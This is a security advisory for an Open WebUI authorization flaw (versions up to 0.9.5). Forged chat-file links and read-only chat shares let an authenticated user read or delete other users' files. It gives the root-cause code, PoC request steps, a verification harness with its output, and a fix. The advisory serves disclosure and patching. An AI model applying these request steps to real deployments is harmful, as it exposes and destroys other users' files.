CVE-2026-54010
Open WebUI: Forged chat-file link allows cross-user file read and deletion
描述
## Summary Open WebUI `v0.9.5` lets an authenticated user attach arbitrary `file_id` values to their own chat message without checking whether they own or can read those files. If the attacker then shares that chat and grants themselves read access, `has_access_to_file()` treats the victim file as accessible through the shared chat, and the file endpoints read or delete the victim file. ## Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker who knows or obtains a victim `file_id` can make Open WebUI authorize, through an attacker-owned shared chat: - reading the victim file via `GET /api/v1/files/{id}/content`, and - deleting the victim file via `DELETE /api/v1/files/{id}`. ## Root Cause Client-controlled message file IDs are persisted without file authorization checks: ```python # backend/open_webui/main.py await Chats.insert_chat_files( chat_id, user_message.get('id'), [ file_item.get('id') for file_item in user_message_files if file_item.get('type') == 'file' ], user.id, ) ``` `insert_chat_files()` stores the provided IDs directly: ```python # backend/open_webui/models/chats.py ChatFileModel( user_id=user_id, chat_id=chat_id, message_id=message_id, file_id=file_id, ) ``` Later, file authorization trusts shared-chat associations: ```python # backend/open_webui/utils/access_control/files.py shared_chat_ids = await Chats.get_shared_chat_ids_by_file_id(file_id, db=db) if shared_chat_ids: accessible_ids = await AccessGrants.get_accessible_resource_ids( user_id=user.id, resource_type='shared_chat', resource_ids=shared_chat_ids, permission='read', ) if accessible_ids: return True ``` The download endpoint uses this helper: ```python # backend/open_webui/routers/files.py if file.user_id == user.id or user.role == 'admin' or await has_access_to_file(id, 'read', user, db=db): return FileResponse(file_path, ...) ``` On affected versions this shared-chat branch is not gated on `access_type` (the grant lookup hardcodes `permission='read'`, but nothing checks that the request itself is a read). The same forged association therefore also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs, so the attacker can delete the victim file, not only read it. Because the shared-chat branch ignores `access_type`, the deletion does not require the forged association at all. A user granted only **read** access to a chat that the owner legitimately shared can delete the owner's own files attached to that chat via `DELETE /api/v1/files/{id}`, since the read grant satisfies the `write` check. The forged association (above) broadens this to any victim `file_id`; a legitimate read-only share reaches it without any forgery. ## PoC 1. Attacker creates or uses a chat they own. 2. Attacker sends `POST /api/chat/completions` or `POST /api/v1/chat/completions` where top-level `user_message.files` contains: ```json [ { "type": "file", "id": "VICTIM_FILE_ID" } ] ``` 3. Backend inserts a `chat_file` row linking the attacker chat to `VICTIM_FILE_ID`. 4. Attacker shares the chat and grants read access to themselves or public access. 5. Attacker requests: ```text GET /api/v1/files/VICTIM_FILE_ID/content ``` Expected: 404/403 because the attacker does not own or otherwise have access to the victim file. Actual: file authorization succeeds through the attacker-controlled shared-chat association. ## Local Verification I verified the bug locally with Open WebUI's real `Chats.insert_chat_files()` and real `has_access_to_file()` implementations. The harness uses fake DB adapters only to avoid this environment's async SQLite hang; the security-sensitive logic under test is the application code. Result: ```json { "before_chat_file_link_attacker_can_read": false, "insert_sink": { "db_commit_called": true, "insert_returned_rows": true, "stored_chat_ids": [ "attacker-chat" ], "stored_file_ids": [ "victim-file" ], "stored_user_ids": [ "attacker" ] }, "after_attacker_shared_chat_links_victim_file_attacker_can_read": true, "confirmed": true } ``` PoC: ```python #!/usr/bin/env python3 """ Verifier for chat-file link authorization bypass. This intentionally avoids the app DB because the local Python 3.13 async SQLite stack hangs in this checkout. It still executes Open WebUI's real has_access_to_file() implementation, with fake model adapters standing in for the DB tables. """ from __future__ import annotations import asyncio import json import os import sys import types from pathlib import Path from types import SimpleNamespace def prepare_imports() -> None: repo_root = Path(__file__).resolve().parents[1] sys.path.insert(0, str(repo_root / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeFiles: async def get_file_by_id(self, file_id, db=None): if file_id == "victim-file": return SimpleNamespace( id="victim-file", user_id="victim", meta={}, ) return None class FakeKnowledges: async def get_knowledges_by_file_id(self, file_id, db=None): return [] class FakeGroups: async def get_groups_by_member_id(self, user_id, db=None): return [] class FakeChannels: async def get_channels_by_file_id_and_user_id(self, file_id, user_id, db=None): return [] class FakeModels: async def get_models_by_user_id(self, user_id, permission="read", db=None): return [] class FakeChats: def __init__(self, linked: bool): self.linked = linked async def get_shared_chat_ids_by_file_id(self, file_id, db=None): if self.linked and file_id == "victim-file": # This mirrors a chat_file row tying victim-file to the attacker's # shared chat. The real insertion sink is Chats.insert_chat_files(). return ["attacker-chat"] return [] class FakeAccessGrants: def __init__(self, granted: bool): self.granted = granted async def has_access(self, *args, **kwargs): return False async def get_accessible_resource_ids( self, user_id, resource_type, resource_ids, permission="read", user_group_ids=None, db=None, ): if ( self.granted and user_id == "attacker" and resource_type == "shared_chat" and "attacker-chat" in resource_ids and permission == "read" ): return {"attacker-chat"} return set() class FakeDb: def __init__(self): self.added = [] self.committed = False def add_all(self, rows): self.added.extend(rows) async def commit(self): self.committed = True class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def verify_insert_sink_accepts_victim_file_id(): import open_webui.models.chats as chats_module fake_db = FakeDb() chats_table = chats_module.Chats original_context = chats_module.get_async_db_context original_existing = chats_table.get_chat_files_by_chat_id_and_message_id async def fake_existing(self, chat_id, message_id, db=None): return [] try: chats_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) chats_table.get_chat_files_by_chat_id_and_message_id = types.MethodType(fake_existing, chats_table) inserted = await chats_table.insert_chat_files( chat_id="attacker-chat", message_id="attacker-message", file_ids=["victim-file"], user_id="attacker", ) finally: chats_module.get_async_db_context = original_context chats_table.get_chat_files_by_chat_id_and_message_id = original_existing return { "insert_returned_rows": bool(inserted), "db_commit_called": fake_db.committed, "stored_file_ids": [getattr(row, "file_id", None) for row in fake_db.added], "stored_chat_ids": [getattr(row, "chat_id", None) for row in fake_db.added], "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added], } async def main() -> None: prepare_imports() import open_webui.utils.access_control.files as file_acl attacker = SimpleNamespace(id="attacker", role="user") original = { "Files": file_acl.Files, "Knowledges": file_acl.Knowledges, "Groups": file_acl.Groups, "Channels": file_acl.Channels, "Chats": file_acl.Chats, "Models": file_acl.Models, "AccessGrants": file_acl.AccessGrants, } try: file_acl.Files = FakeFiles() file_acl.Knowledges = FakeKnowledges() file_acl.Groups = FakeGroups() file_acl.Channels = FakeChannels() file_acl.Models = FakeModels() file_acl.Chats = FakeChats(linked=False) file_acl.AccessGrants = FakeAccessGrants(granted=False) before = await file_acl.has_access_to_file("victim-file", "read", attacker) file_acl.Chats = FakeChats(linked=True) file_acl.AccessGrants = FakeAccessGrants(granted=True) after = await file_acl.has_access_to_file("victim-file", "read", attacker) insert_sink = await verify_insert_sink_accepts_victim_file_id() result = { "victim_file_id": "victim-file", "victim_file_owner": "victim", "attacker_id": "attacker", "attacker_owns_file": False, "insert_sink": insert_sink, "before_chat_file_link_attacker_can_read": before, "after_attacker_shared_chat_links_victim_file_attacker_can_read": after, "confirmed": ( before is False and after is True and insert_sink["insert_returned_rows"] is True and insert_sink["stored_file_ids"] == ["victim-file"] and insert_sink["stored_user_ids"] == ["attacker"] ), "sink": "Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access", } print(json.dumps(result, indent=2, sort_keys=True)) finally: for name, value in original.items(): setattr(file_acl, name, value) if __name__ == "__main__": asyncio.run(main()) ``` ## Recommended Fix Before calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read: ```python allowed_file_ids = [] for file_id in requested_file_ids: file = await Files.get_file_by_id(file_id) if file and (file.user_id == user.id or user.role == 'admin' or await has_access_to_file(file_id, 'read', user)): allowed_file_ids.append(file_id) ``` Also consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations. Additionally, the shared-chat branch of `has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion. ## Consolidation Per Open WebUI's Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE: - Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read. - Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`. Affected: `<= 0.9.5`. Patched: `>= 0.9.6`. One CVE for the consolidated advisory.